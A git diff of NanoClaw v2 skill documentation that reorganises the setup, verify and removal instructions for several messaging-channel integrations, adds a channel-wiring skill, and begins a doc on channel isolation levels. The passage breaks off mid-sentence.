import './resend.js'; ``` -### Build +Build: ```bash npm run build ``` -## Phase 3: Setup +## Credentials -### Create Resend credentials - -> 1. Go to [resend.com](https://resend.com) and create an account -> 2. Add and verify your sending domain -> 3. Go to **API Keys** and create a new key -> 4. Set up a webhook: -> - Go to **Webhooks** > **Add webhook** -> - URL: `https://your-domain/webhook/resend` -> - Events: select **email.received** (for inbound email) -> - Copy the signing secret +1. Go to [resend.com](https://resend.com) and create an account. +2. Add and verify your sending domain. +3. Go to **API Keys** and create a new key. +4. Set up a webhook: + - Go to **Webhooks** > **Add webhook**. + - URL: `https://your-domain/webhook/resend`. + - Events: select **email.received**. + - Copy the signing secret. ### Configure environment @@ -59,21 +53,17 @@ RESEND_WEBHOOK_SECRET=your-webhook-secret Sync to container: `mkdir -p data/env && cp .env data/env/env` -### Build and restart +## Next Steps -```bash -npm run build -launchctl kickstart -k gui/$(id -u)/com.nanoclaw # macOS -# systemctl --user restart nanoclaw # Linux -``` +If you're in the middle of `/setup`, return to the setup flow now. -## Phase 4: Verify +Otherwise, run `/manage-channels` to wire this channel to an agent group. -> Send an email to the configured from address. The bot should respond via email within a few seconds. +## Channel Info -## Removal - -1. Comment out `import './resend.js'` in `src/channels/index.ts` -2. Remove `RESEND_API_KEY`, `RESEND_FROM_ADDRESS`, `RESEND_FROM_NAME`, `RESEND_WEBHOOK_SECRET` from `.env` -3. `npm uninstall @resend/chat-sdk-adapter` -4. Rebuild and restart +- **type**: `resend` +- **terminology**: Resend handles email. Each email thread (identified by subject/In-Reply-To headers) is a separate conversation. The "from address" is the bot's identity. +- **how-to-find-id**: The platform ID is the from email address (e.g. `bot@yourdomain.com`). Each sender's email thread becomes its own conversation. +- **supports-threads**: yes (via email threading headers -- replies to the same thread stay together) +- **typical-use**: Async communication -- email conversations with longer response expectations +- **default-isolation**: Same agent group if you want your agent to handle email alongside other channels. Separate agent group if email contains sensitive correspondence that shouldn't be accessible from other channels. diff --git a/.claude/skills/add-resend-v2/VERIFY.md b/.claude/skills/add-resend-v2/VERIFY.md new file mode 100644 index 0000000..983197e --- /dev/null +++ b/.claude/skills/add-resend-v2/VERIFY.md @@ -0,0 +1,3 @@ +# Verify Resend Email Channel + +Send an email to the configured from address. The bot should respond via email within a few seconds. diff --git a/.claude/skills/add-slack-v2/REMOVE.md b/.claude/skills/add-slack-v2/REMOVE.md new file mode 100644 index 0000000..140fbe7 --- /dev/null +++ b/.claude/skills/add-slack-v2/REMOVE.md @@ -0,0 +1,6 @@ +# Remove Slack + +1. Comment out `import './slack.js'` in `src/channels/index.ts` +2. Remove `SLACK_BOT_TOKEN` and `SLACK_SIGNING_SECRET` from `.env` +3. `npm uninstall @chat-adapter/slack` +4. Rebuild and restart diff --git a/.claude/skills/add-slack-v2/SKILL.md b/.claude/skills/add-slack-v2/SKILL.md index 2d03afe..3d652f7 100644 --- a/.claude/skills/add-slack-v2/SKILL.md +++ b/.claude/skills/add-slack-v2/SKILL.md @@ -3,15 +3,15 @@ name: add-slack-v2 description: Add Slack channel integration to NanoClaw v2 via Chat SDK. --- -# Add Slack Channel (v2) +# Add Slack Channel -This skill adds Slack support to NanoClaw v2 using the Chat SDK bridge. +Adds Slack support to NanoClaw v2 using the Chat SDK bridge. -## Phase 1: Pre-flight +## Pre-flight -Check if `src/channels/slack.ts` exists and the import is uncommented in `src/channels/index.ts`. If both are in place, skip to Phase 3. +Check if `src/channels/slack.ts` exists and the import is uncommented in `src/channels/index.ts`. If both are in place, skip to Credentials. -## Phase 2: Apply Code Changes +## Install ### Install the adapter package @@ -33,21 +33,19 @@ import './slack.js'; npm run build ``` -## Phase 3: Setup +## Credentials -### Create Slack App (if needed) +### Create Slack App -If the user doesn't have a Slack app: - -> 1. Go to [api.slack.com/apps](https://api.slack.com/apps) and click **Create New App** > **From scratch** -> 2. Name it (e.g., "NanoClaw") and select your workspace -> 3. Go to **OAuth & Permissions** and add Bot Token Scopes: -> - `chat:write`, `channels:history`, `groups:history`, `im:history`, `channels:read`, `groups:read`, `users:read`, `reactions:write` -> 4. Click **Install to Workspace** and copy the **Bot User OAuth Token** (`xoxb-...`) -> 5. Go to **Basic Information** and copy the **Signing Secret** -> 6. Go to **Event Subscriptions**, enable events, and subscribe to: -> - `message.channels`, `message.groups`, `message.im`, `app_mention` -> 7. Set the Request URL to your webhook endpoint (e.g., `https://your-domain/webhook/slack`) +1. Go to [api.slack.com/apps](https://api.slack.com/apps) and click **Create New App** > **From scratch** +2. Name it (e.g., "NanoClaw") and select your workspace +3. Go to **OAuth & Permissions** and add Bot Token Scopes: + - `chat:write`, `channels:history`, `groups:history`, `im:history`, `channels:read`, `groups:read`, `users:read`, `reactions:write` +4. Click **Install to Workspace** and copy the **Bot User OAuth Token** (`xoxb-...`) +5. Go to **Basic Information** and copy the **Signing Secret** +6. Go to **Event Subscriptions**, enable events, and subscribe to: + - `message.channels`, `message.groups`, `message.im`, `app_mention` +7. Set the Request URL to your webhook endpoint (e.g., `https://your-domain/webhook/slack`) ### Configure environment @@ -60,22 +58,17 @@ SLACK_SIGNING_SECRET=your-signing-secret Sync to container: `mkdir -p data/env && cp .env data/env/env` -### Build and restart +## Next Steps -```bash -npm run build -launchctl kickstart -k gui/$(id -u)/com.nanoclaw # macOS -# systemctl --user restart nanoclaw # Linux -``` +If you're in the middle of `/setup`, return to the setup flow now. -## Phase 4: Verify +Otherwise, run `/manage-channels` to wire this channel to an agent group. -> Add the bot to a Slack channel, then send a message or @mention the bot. -> The bot should respond within a few seconds. +## Channel Info -## Removal - -1. Comment out `import './slack.js'` in `src/channels/index.ts` -2. Remove `SLACK_BOT_TOKEN` and `SLACK_SIGNING_SECRET` from `.env` -3. `npm uninstall @chat-adapter/slack` -4. Rebuild and restart +- **type**: `slack` +- **terminology**: Slack has "workspaces" containing "channels." Channels can be public (#general) or private. The bot can also receive direct messages. +- **how-to-find-id**: Right-click a channel name > "View channel details" — the Channel ID is at the bottom (starts with C). Or copy the channel link — the ID is the last segment of the URL. +- **supports-threads**: yes +- **typical-use**: Interactive chat — team channels or direct messages +- **default-isolation**: Same agent group for channels where you're the primary user. Separate agent group for channels with different teams or sensitive contexts. diff --git a/.claude/skills/add-slack-v2/VERIFY.md b/.claude/skills/add-slack-v2/VERIFY.md new file mode 100644 index 0000000..23eb994 --- /dev/null +++ b/.claude/skills/add-slack-v2/VERIFY.md @@ -0,0 +1,3 @@ +# Verify Slack + +Add the bot to a Slack channel, then send a message or @mention the bot. The bot should respond within a few seconds. diff --git a/.claude/skills/add-teams-v2/REMOVE.md b/.claude/skills/add-teams-v2/REMOVE.md new file mode 100644 index 0000000..e921cfb --- /dev/null +++ b/.claude/skills/add-teams-v2/REMOVE.md @@ -0,0 +1,6 @@ +# Remove Microsoft Teams Channel + +1. Comment out `import './teams.js'` in `src/channels/index.ts` +2. Remove `TEAMS_APP_ID` and `TEAMS_APP_PASSWORD` from `.env` +3. `npm uninstall @chat-adapter/teams` +4. Rebuild and restart diff --git a/.claude/skills/add-teams-v2/SKILL.md b/.claude/skills/add-teams-v2/SKILL.md index 2976883..20324f3 100644 --- a/.claude/skills/add-teams-v2/SKILL.md +++ b/.claude/skills/add-teams-v2/SKILL.md @@ -3,46 +3,38 @@ name: add-teams-v2 description: Add Microsoft Teams channel integration to NanoClaw v2 via Chat SDK. --- -# Add Microsoft Teams Channel (v2) +# Add Microsoft Teams Channel -This skill adds Microsoft Teams support to NanoClaw v2 using the Chat SDK bridge. +Connect NanoClaw to Microsoft Teams for interactive chat in team channels and direct messages. -## Phase 1: Pre-flight +## Pre-flight -Check if `src/channels/teams.ts` exists and the import is uncommented in `src/channels/index.ts`. If both are in place, skip to Phase 3. +Check if `src/channels/teams.ts` exists and the import is uncommented in `src/channels/index.ts`. If both are in place, skip to Credentials. -## Phase 2: Apply Code Changes - -### Install the adapter package +## Install ```bash npm install @chat-adapter/teams ``` -### Enable the channel - Uncomment the Teams import in `src/channels/index.ts`: ```typescript import './teams.js'; ``` -### Build +Build: ```bash npm run build ``` -## Phase 3: Setup +## Credentials -### Create Teams Bot - -> 1. Go to [Azure Portal](https://portal.azure.com) > **Azure Bot** > **Create** -> 2. Fill in the bot details and create -> 3. Go to **Configuration**: -> - Messaging endpoint: `https://your-domain/webhook/teams` -> 4. Go to **Channels** > add **Microsoft Teams** -> 5. Note the **Microsoft App ID** and **Password** (from the bot's Azure AD app registration) +1. Go to [Azure Portal](https://portal.azure.com) > **Azure Bot** > **Create**. +2. Configure the messaging endpoint: `https://your-domain/webhook/teams`. +3. Add the **Microsoft Teams** channel. +4. Note the **App ID** and **Password** from the Azure AD app registration. ### Configure environment @@ -55,21 +47,17 @@ TEAMS_APP_PASSWORD=your-app-password Sync to container: `mkdir -p data/env && cp .env data/env/env` -### Build and restart +## Next Steps -```bash -npm run build -launchctl kickstart -k gui/$(id -u)/com.nanoclaw # macOS -# systemctl --user restart nanoclaw # Linux -``` +If you're in the middle of `/setup`, return to the setup flow now. -## Phase 4: Verify +Otherwise, run `/manage-channels` to wire this channel to an agent group. -> Add the bot to a Teams channel or send it a direct message. The bot should respond within a few seconds. +## Channel Info -## Removal - -1. Comment out `import './teams.js'` in `src/channels/index.ts` -2. Remove `TEAMS_APP_ID` and `TEAMS_APP_PASSWORD` from `.env` -3. `npm uninstall @chat-adapter/teams` -4. Rebuild and restart +- **type**: `teams` +- **terminology**: Teams has "teams" containing "channels." The bot can also receive direct messages. Teams channels can have threaded replies. +- **how-to-find-id**: Right-click a channel in Teams > "Get link to channel" -- the channel ID is in the URL. Or use the Microsoft Graph API to list channels. +- **supports-threads**: yes +- **typical-use**: Interactive chat -- team channels or direct messages +- **default-isolation**: Same agent group for channels where you're the primary user. Separate agent group for channels with different teams or where different members have different information boundaries. diff --git a/.claude/skills/add-teams-v2/VERIFY.md b/.claude/skills/add-teams-v2/VERIFY.md new file mode 100644 index 0000000..f0b9a9a --- /dev/null +++ b/.claude/skills/add-teams-v2/VERIFY.md @@ -0,0 +1,3 @@ +# Verify Microsoft Teams Channel + +Add the bot to a Teams channel or send it a direct message. The bot should respond within a few seconds. diff --git a/.claude/skills/add-telegram-v2/REMOVE.md b/.claude/skills/add-telegram-v2/REMOVE.md new file mode 100644 index 0000000..9fd37cf --- /dev/null +++ b/.claude/skills/add-telegram-v2/REMOVE.md @@ -0,0 +1,6 @@ +# Remove Telegram + +1. Comment out `import './telegram.js'` in `src/channels/index.ts` +2. Remove `TELEGRAM_BOT_TOKEN` from `.env` +3. `npm uninstall @chat-adapter/telegram` +4. Rebuild and restart diff --git a/.claude/skills/add-telegram-v2/SKILL.md b/.claude/skills/add-telegram-v2/SKILL.md index 754a948..b767e55 100644 --- a/.claude/skills/add-telegram-v2/SKILL.md +++ b/.claude/skills/add-telegram-v2/SKILL.md @@ -3,15 +3,15 @@ name: add-telegram-v2 description: Add Telegram channel integration to NanoClaw v2 via Chat SDK. --- -# Add Telegram Channel (v2) +# Add Telegram Channel -This skill adds Telegram support to NanoClaw v2 using the Chat SDK bridge. +Adds Telegram bot support to NanoClaw v2 using the Chat SDK bridge. -## Phase 1: Pre-flight +## Pre-flight -Check if `src/channels/telegram.ts` exists and the import is uncommented in `src/channels/index.ts`. If both are in place, skip to Phase 3. +Check if `src/channels/telegram.ts` exists and the import is uncommented in `src/channels/index.ts`. If both are in place, skip to Credentials. -## Phase 2: Apply Code Changes +## Install ### Install the adapter package @@ -33,22 +33,20 @@ import './telegram.js'; npm run build ``` -## Phase 3: Setup +## Credentials -### Create Telegram Bot (if needed) +### Create Telegram Bot -> 1. Open Telegram and search for `@BotFather` -> 2. Send `/newbot` and follow the prompts: -> - Bot name: Something friendly (e.g., "NanoClaw Assistant") -> - Bot username: Must end with "bot" (e.g., "nanoclaw_bot") -> 3. Copy the bot token (looks like `123456:ABC-DEF1234ghIkl-zyx57W2v1u123ew11`) +1. Open Telegram and search for `@BotFather` +2. Send `/newbot` and follow the prompts: + - Bot name: Something friendly (e.g., "NanoClaw Assistant") + - Bot username: Must end with "bot" (e.g., "nanoclaw_bot") +3. Copy the bot token (looks like `123456:ABC-DEF1234ghIkl-zyx57W2v1u123ew11`) -### Disable Group Privacy (for group chats) +**Important for group chats**: By default, Telegram bots only see @mentions and commands in groups. To let the bot see all messages: -> **Important for group chats**: By default, Telegram bots only see @mentions and commands in groups. To let the bot see all messages: -> -> 1. Open `@BotFather` > `/mybots` > select your bot -> 2. **Bot Settings** > **Group Privacy** > **Turn off** +1. Open `@BotFather` > `/mybots` > select your bot +2. **Bot Settings** > **Group Privacy** > **Turn off** ### Configure environment @@ -60,23 +58,17 @@ TELEGRAM_BOT_TOKEN=your-bot-token Sync to container: `mkdir -p data/env && cp .env data/env/env` -### Build and restart +## Next Steps -```bash -npm run build -launchctl kickstart -k gui/$(id -u)/com.nanoclaw # macOS -# systemctl --user restart nanoclaw # Linux -``` +If you're in the middle of `/setup`, return to the setup flow now. -## Phase 4: Verify +Otherwise, run `/manage-channels` to wire this channel to an agent group. -> Send a message to your bot in Telegram (search for its username). -> For groups: add the bot to a group and send a message. -> The bot should respond within a few seconds. +## Channel Info -## Removal - -1. Comment out `import './telegram.js'` in `src/channels/index.ts` -2. Remove `TELEGRAM_BOT_TOKEN` from `.env` -3. `npm uninstall @chat-adapter/telegram` -4. Rebuild and restart +- **type**: `telegram` +- **terminology**: Telegram calls them "groups" and "chats." A "group" has multiple members; a "chat" is a 1:1 conversation with the bot. +- **how-to-find-id**: Send a message in the group/chat, then visit `https://api.telegram.org/bot/getUpdates` — the `chat.id` field is the platform ID. Group IDs are negative numbers. +- **supports-threads**: no +- **typical-use**: Interactive chat — direct messages or small groups +- **default-isolation**: Same agent group if you're the only participant across multiple chats. Separate agent group if different people are in different groups. diff --git a/.claude/skills/add-telegram-v2/VERIFY.md b/.claude/skills/add-telegram-v2/VERIFY.md new file mode 100644 index 0000000..79c0f0d --- /dev/null +++ b/.claude/skills/add-telegram-v2/VERIFY.md @@ -0,0 +1,3 @@ +# Verify Telegram + +Send a message to your bot in Telegram (search for its username), or add the bot to a group and send a message there. The bot should respond within a few seconds. diff --git a/.claude/skills/add-webex-v2/REMOVE.md b/.claude/skills/add-webex-v2/REMOVE.md new file mode 100644 index 0000000..2dc5c1f --- /dev/null +++ b/.claude/skills/add-webex-v2/REMOVE.md @@ -0,0 +1,6 @@ +# Remove Webex Channel + +1. Comment out `import './webex.js'` in `src/channels/index.ts` +2. Remove `WEBEX_BOT_TOKEN` and `WEBEX_WEBHOOK_SECRET` from `.env` +3. `npm uninstall @bitbasti/chat-adapter-webex` +4. Rebuild and restart diff --git a/.claude/skills/add-webex-v2/SKILL.md b/.claude/skills/add-webex-v2/SKILL.md index a11da4c..830b587 100644 --- a/.claude/skills/add-webex-v2/SKILL.md +++ b/.claude/skills/add-webex-v2/SKILL.md @@ -3,46 +3,37 @@ name: add-webex-v2 description: Add Webex channel integration to NanoClaw v2 via Chat SDK. --- -# Add Webex Channel (v2) +# Add Webex Channel -This skill adds Cisco Webex support to NanoClaw v2 using the Chat SDK bridge. +Adds Cisco Webex support to NanoClaw v2 using the Chat SDK bridge. -## Phase 1: Pre-flight +## Pre-flight -Check if `src/channels/webex.ts` exists and the import is uncommented in `src/channels/index.ts`. If both are in place, skip to Phase 3. +Check if `src/channels/webex.ts` exists and the import is uncommented in `src/channels/index.ts`. If both are in place, skip to Credentials. -## Phase 2: Apply Code Changes - -### Install the adapter package +## Install ```bash npm install @bitbasti/chat-adapter-webex ``` -### Enable the channel - Uncomment the Webex import in `src/channels/index.ts`: ```typescript import './webex.js'; ``` -### Build - ```bash npm run build ``` -## Phase 3: Setup +## Credentials -### Create Webex Bot - -> 1. Go to [developer.webex.com](https://developer.webex.com/my-apps/new/bot) -> 2. Create a new bot and copy the **Bot Access Token** -> 3. Set up a webhook: -> - Use the Webex API to create a webhook pointing to `https://your-domain/webhook/webex` -> - Or use the Webex Developer Portal -> - Set a webhook secret for signature verification +1. Go to [developer.webex.com](https://developer.webex.com/my-apps/new/bot) and create a new bot +2. Copy the **Bot Access Token** +3. Set up a webhook: + - Use the Webex API or Developer Portal to create a webhook pointing to `https://your-domain/webhook/webex` + - Set a webhook secret for signature verification ### Configure environment @@ -55,21 +46,17 @@ WEBEX_WEBHOOK_SECRET=your-webhook-secret Sync to container: `mkdir -p data/env && cp .env data/env/env` -### Build and restart +## Next Steps -```bash -npm run build -launchctl kickstart -k gui/$(id -u)/com.nanoclaw # macOS -# systemctl --user restart nanoclaw # Linux -``` +If you're in the middle of `/setup`, return to the setup flow now. -## Phase 4: Verify +Otherwise, run `/manage-channels` to wire this channel to an agent group. -> Add the bot to a Webex space or send it a direct message. The bot should respond within a few seconds. +## Channel Info -## Removal - -1. Comment out `import './webex.js'` in `src/channels/index.ts` -2. Remove `WEBEX_BOT_TOKEN` and `WEBEX_WEBHOOK_SECRET` from `.env` -3. `npm uninstall @bitbasti/chat-adapter-webex` -4. Rebuild and restart +- **type**: `webex` +- **terminology**: Webex has "spaces." A space can be a group conversation or a 1:1 direct message with the bot. +- **how-to-find-id**: Open the space in Webex, click the space name > Settings — the Space ID is listed there. Or use the Webex API (`GET /rooms`) to list spaces and their IDs. +- **supports-threads**: yes +- **typical-use**: Interactive chat — team spaces or direct messages +- **default-isolation**: Same agent group for spaces where you're the primary user. Separate agent group for spaces with different teams or sensitive information. diff --git a/.claude/skills/add-webex-v2/VERIFY.md b/.claude/skills/add-webex-v2/VERIFY.md new file mode 100644 index 0000000..3bd872b --- /dev/null +++ b/.claude/skills/add-webex-v2/VERIFY.md @@ -0,0 +1,3 @@ +# Verify Webex Channel + +Add the bot to a Webex space or send it a direct message. The bot should respond within a few seconds. diff --git a/.claude/skills/add-whatsapp-cloud-v2/REMOVE.md b/.claude/skills/add-whatsapp-cloud-v2/REMOVE.md new file mode 100644 index 0000000..12c2feb --- /dev/null +++ b/.claude/skills/add-whatsapp-cloud-v2/REMOVE.md @@ -0,0 +1,6 @@ +# Remove WhatsApp Cloud API Channel + +1. Comment out `import './whatsapp-cloud.js'` in `src/channels/index.ts` +2. Remove `WHATSAPP_ACCESS_TOKEN`, `WHATSAPP_PHONE_NUMBER_ID`, `WHATSAPP_APP_SECRET`, `WHATSAPP_VERIFY_TOKEN` from `.env` +3. `npm uninstall @chat-adapter/whatsapp` +4. Rebuild and restart diff --git a/.claude/skills/add-whatsapp-cloud-v2/SKILL.md b/.claude/skills/add-whatsapp-cloud-v2/SKILL.md index 0ebc0c0..4f7709e 100644 --- a/.claude/skills/add-whatsapp-cloud-v2/SKILL.md +++ b/.claude/skills/add-whatsapp-cloud-v2/SKILL.md @@ -1,52 +1,46 @@ --- name: add-whatsapp-cloud-v2 -description: Add WhatsApp Business Cloud API channel to NanoClaw v2 via Chat SDK. Official Meta API (not Baileys). +description: Add WhatsApp Business Cloud API channel to NanoClaw v2 via Chat SDK. Official Meta API. --- -# Add WhatsApp Cloud API Channel (v2) +# Add WhatsApp Cloud API Channel -This skill adds WhatsApp support via the official Meta WhatsApp Business Cloud API. This is different from the Baileys-based WhatsApp adapter (which uses WhatsApp Web protocol). +Connect NanoClaw to WhatsApp via the official Meta WhatsApp Business Cloud API. -## Phase 1: Pre-flight +## Pre-flight -Check if `src/channels/whatsapp-cloud.ts` exists and the import is uncommented in `src/channels/index.ts`. If both are in place, skip to Phase 3. +Check if `src/channels/whatsapp-cloud.ts` exists and the import is uncommented in `src/channels/index.ts`. If both are in place, skip to Credentials. -## Phase 2: Apply Code Changes - -### Install the adapter package +## Install ```bash npm install @chat-adapter/whatsapp ``` -### Enable the channel - Uncomment the WhatsApp Cloud API import in `src/channels/index.ts`: ```typescript import './whatsapp-cloud.js'; ``` -### Build +Build: ```bash npm run build ``` -## Phase 3: Setup +## Credentials -### Create WhatsApp Business App - -> 1. Go to [Meta for Developers](https://developers.facebook.com/apps/) and create an app (type: Business) -> 2. Add the **WhatsApp** product -> 3. Go to **WhatsApp** > **API Setup**: -> - Note the **Phone Number ID** (not the phone number itself) -> - Generate a **permanent System User access token** with `whatsapp_business_messaging` permission -> 4. Go to **WhatsApp** > **Configuration**: -> - Set webhook URL: `https://your-domain/webhook/whatsapp` -> - Set a **Verify Token** (any random string you choose) -> - Subscribe to webhook fields: `messages` -> 5. Copy the **App Secret** from **Settings** > **Basic** +1. Go to [Meta for Developers](https://developers.facebook.com/apps/) and create an app (type: Business). +2. Add the **WhatsApp** product. +3. Go to **WhatsApp** > **API Setup**: + - Note the **Phone Number ID** (not the phone number itself). + - Generate a **permanent System User access token** with `whatsapp_business_messaging` permission. +4. Go to **WhatsApp** > **Configuration**: + - Set webhook URL: `https://your-domain/webhook/whatsapp`. + - Set a **Verify Token** (any random string you choose). + - Subscribe to webhook fields: `messages`. +5. Copy the **App Secret** from **Settings** > **Basic**. ### Configure environment @@ -61,22 +55,17 @@ WHATSAPP_VERIFY_TOKEN=your-verify-token Sync to container: `mkdir -p data/env && cp .env data/env/env` -### Build and restart +## Next Steps -```bash -npm run build -launchctl kickstart -k gui/$(id -u)/com.nanoclaw # macOS -# systemctl --user restart nanoclaw # Linux -``` +If you're in the middle of `/setup`, return to the setup flow now. -## Phase 4: Verify +Otherwise, run `/manage-channels` to wire this channel to an agent group. -> Send a message to your WhatsApp Business number. The bot should respond within a few seconds. -> Note: WhatsApp Cloud API only supports 1:1 DMs, not group chats. +## Channel Info -## Removal - -1. Comment out `import './whatsapp-cloud.js'` in `src/channels/index.ts` -2. Remove `WHATSAPP_ACCESS_TOKEN`, `WHATSAPP_PHONE_NUMBER_ID`, `WHATSAPP_APP_SECRET`, `WHATSAPP_VERIFY_TOKEN` from `.env` -3. `npm uninstall @chat-adapter/whatsapp` -4. Rebuild and restart +- **type**: `whatsapp-cloud` +- **terminology**: WhatsApp Cloud API supports 1:1 conversations only (no group chats). Each conversation is with a phone number. +- **how-to-find-id**: The platform ID is the Phone Number ID from the Meta Business dashboard (not the phone number itself). Find it under WhatsApp > API Setup. +- **supports-threads**: no +- **typical-use**: Interactive 1:1 chat -- direct messages only +- **default-isolation**: Same agent group if you're the only person messaging the bot. Each additional person who messages gets their own conversation automatically, but they share the agent's workspace and memory -- use a separate agent group if you need information isolation between different contacts. diff --git a/.claude/skills/add-whatsapp-cloud-v2/VERIFY.md b/.claude/skills/add-whatsapp-cloud-v2/VERIFY.md new file mode 100644 index 0000000..905f89f --- /dev/null +++ b/.claude/skills/add-whatsapp-cloud-v2/VERIFY.md @@ -0,0 +1,3 @@ +# Verify WhatsApp Cloud API Channel + +Send a message to your WhatsApp Business number. The bot should respond within a few seconds. Note: WhatsApp Cloud API only supports 1:1 DMs, not group chats. diff --git a/.claude/skills/manage-channels/SKILL.md b/.claude/skills/manage-channels/SKILL.md new file mode 100644 index 0000000..ee68656 --- /dev/null +++ b/.claude/skills/manage-channels/SKILL.md @@ -0,0 +1,81 @@ +--- +name: manage-channels +description: Wire channels to agent groups, manage isolation levels, add new channel groups. Use after adding a channel, during setup, or standalone to reconfigure. +--- + +# Manage Channels + +Wire messaging channels to agent groups. See `docs/v2-isolation-model.md` for the full isolation model. + +## Assess Current State + +Read the v2 central DB (`data/v2.db`) — query `agent_groups`, `messaging_groups`, and `messaging_group_agents` tables. Also check `.env` for channel tokens and `src/channels/index.ts` for uncommented imports. + +Categorize channels as: **wired** (has DB entities), **configured but unwired** (has credentials + barrel import, no DB entities), or **not configured**. + +## First Channel (No Agent Groups Exist) + +1. Ask the assistant name (default: project name or "Andy") +2. Ask which channel is the primary/admin channel +3. Ask for the platform ID — read the channel's SKILL.md `## Channel Info` > `how-to-find-id` to guide them +4. Register: + +```bash +npx tsx setup/index.ts --step register -- \ + --platform-id "" --name "" --folder "main" \ + --channel "" --is-main --no-trigger-required \ + --assistant-name "" --session-mode "shared" +``` + +5. Continue to "Wire New Channel" for any remaining configured channels. + +## Wire New Channel + +For each unwired channel: + +1. Read its SKILL.md `## Channel Info` for terminology, how-to-find-id, typical-use, and default-isolation +2. Ask for the platform ID using the platform's terminology +3. Ask the isolation question (see below) +4. Register with the appropriate flags + +### Isolation Question + +Present a multiple-choice with a contextual recommendation. The three options: + +- **Same conversation** (`--session-mode "agent-shared"` + existing folder) — all messages land in one session. Recommend for webhook + chat combos (GitHub + Slack). +- **Same agent, separate conversations** (`--session-mode "shared"` + existing folder) — shared workspace/memory, independent threads. Recommend for same user across platforms. +- **Separate agent** (new `--folder`) — full isolation. Recommend when different people are involved. + +Use the channel's `typical-use` and `default-isolation` fields to pick the recommendation. Offer to explain more if the user is unsure — reference `docs/v2-isolation-model.md` for the detailed explanation. + +### Register Command + +```bash +npx tsx setup/index.ts --step register -- \ + --platform-id "" --name "" \ + --folder "" --channel "" \ + --session-mode "" \ + --assistant-name "" +``` + +For separate agents, also ask for a folder name and optionally a different assistant name. + +## Add Channel Group + +When adding another group/chat on an already-configured platform (e.g. a second Telegram group): + +1. Read the channel's SKILL.md `## Channel Info` for terminology and how-to-find-id +2. Ask for the new group/chat ID +3. Ask the isolation question +4. Register — no package or credential changes needed + +## Change Wiring + +1. Show current wiring +2. Ask which channel to move and to which agent group +3. Delete the old `messaging_group_agents` entry, create a new one +4. Note: existing sessions stay with the old agent group; new messages route to the new one + +## Show Configuration + +Display a readable summary showing agent groups with their wired channels, configured-but-unwired channels, and unconfigured channels. diff --git a/.claude/skills/setup/SKILL.md b/.claude/skills/setup/SKILL.md index 77f8341..205b806 100644 --- a/.claude/skills/setup/SKILL.md +++ b/.claude/skills/setup/SKILL.md @@ -260,7 +260,7 @@ AskUserQuestion (multiSelect): Which messaging channels do you want to enable? For each selected channel, invoke its skill: -- **Discord:** Invoke `/add-discord` +- **Discord:** Invoke `/add-discord-v2` - **Slack:** Invoke `/add-slack-v2` - **Telegram:** Invoke `/add-telegram-v2` - **GitHub:** Invoke `/add-github-v2` @@ -286,7 +286,18 @@ Each skill will: npm install && npm run build ``` -If the build fails, read the error output and fix it (usually a missing dependency). Then continue to step 6. +If the build fails, read the error output and fix it (usually a missing dependency). Then continue to step 5a. + +## 5a. Wire Channels to Agent Groups + +Invoke `/manage-channels` to wire the installed channels to agent groups. This step: +1. Creates the agent group(s) and assigns a name to the assistant +2. Asks for each channel's platform-specific ID (guided by channel-specific instructions) +3. Decides the isolation level — whether channels share an agent, session, or are fully separate + +The `/manage-channels` skill reads each channel's `## Channel Info` section from its SKILL.md for platform-specific guidance (terminology, how to find IDs, recommended isolation). + +**This step is required.** Without it, channels are installed but not wired — messages will be silently dropped because the router has no agent group to route to. ## 6. Mount Allowlist @@ -334,7 +345,7 @@ Run `npx tsx setup/index.ts --step verify` and parse the status block. - SERVICE=not_found → re-run step 7 - CREDENTIALS=missing → re-run step 4 (Docker: check `onecli secrets list`; Apple Container: check `.env` for credentials) - CHANNEL_AUTH shows `not_found` for any channel → re-invoke that channel's skill (e.g. `/add-telegram`) -- REGISTERED_GROUPS=0 → re-invoke the channel skills from step 5 +- REGISTERED_GROUPS=0 → re-invoke `/manage-channels` from step 5a - MOUNT_ALLOWLIST=missing → `npx tsx setup/index.ts --step mounts -- --empty` Tell user to test: send a message in their registered chat. Show: `tail -f logs/nanoclaw.log` diff --git a/docs/v2-checklist.md b/docs/v2-checklist.md index 6487658..bdadabe 100644 --- a/docs/v2-checklist.md +++ b/docs/v2-checklist.md @@ -55,8 +55,10 @@ Status: [x] done, [~] partial, [ ] not started - [~] iMessage via Chat SDK (adapter + skill written, not tested) - [x] Backward compatibility with native channels (old adapters still work) - [x] Channel barrel wired (src/index.ts imports barrel, skills uncomment) -- [~] Setup flow wired to v2 channels (register.ts + verify.ts updated, but channel skills don't call register yet — see docs/v2-setup-wiring.md) -- [ ] Setup communicates each group is a different agent, distinct names +- [x] Setup flow wired to v2 channels (channel skills + /manage-channels for registration + verify.ts checks all tokens) +- [x] Channel Info metadata in each channel skill (type, terminology, how-to-find-id, isolation defaults) +- [x] /manage-channels skill (wire channels to agent groups with three isolation levels) +- [x] Agent-shared session mode (cross-channel shared sessions, e.g. GitHub + Slack) - [ ] Setup vs production channel separation - [ ] Generate visual diagram of customized instance at end of setup diff --git a/docs/v2-isolation-model.md b/docs/v2-isolation-model.md new file mode 100644 index 0000000..9236290 --- /dev/null +++ b/docs/v2-isolation-model.md @@ -0,0 +1,88 @@ +# Channel Isolation Model + +NanoClaw v2 decouples messaging channels from agent groups. When you connect a channel (Discord, Telegram, Slack, GitHub, etc.), you decide how it relates to your existing agents. There are three isolation levels. + +## The Three Levels + +### 1. Shared Session + +Multiple channels feed into the same conversation. The agent sees all messages from all channels in one thread. + +**What's shared:** Everything — workspace, memory, CLAUDE.md, and the conversation itself. A GitHub PR comment and a Slack message appear side by side in the agent's context. + +**Example:** A Slack channel paired with GitHub webhooks. The agent receives PR review requests via GitHub and discusses them in Slack — all in one session. When someone comments on a PR, the agent can reference the earlier Slack discussion about that feature. + +**When to use:** When one channel feeds context into another. Webhook/notification channels (GitHub, Linear) paired with a chat channel (Slack, Discord) are the classic case. + +**Technical:** Both messaging groups are wired to the same agent group with `session_mode: 'agent-shared'`. Session resolution looks up by agent group ID only, ignoring the messaging group — so all channels converge on one session. + +--- + +### 2. Same Agent, Separate Sessions + +Multiple channels share the same agent (same workspace, memory, personality) but have independent conversations. + +**What's shared:** Workspace, memory, CLAUDE.md, and all persistent state. If you tell the agent something in one session, it can save that to memory and recall it in another. The agent's personality, knowledge, and tools are identical across sessions. + +**What's separate:** The conversation thread. Messages from one channel don't appear in the other channel's session. Each channel has its own context window and conversation history. + +**Example:** You have three Telegram chats with your agent — one for a side project, one for personal tasks, one for work. All three share the same agent workspace. If you ask it to remember your API key naming convention in the project chat, it may recall that convention in the work chat too. But the conversations themselves are independent. + +**When to use:** When you're the 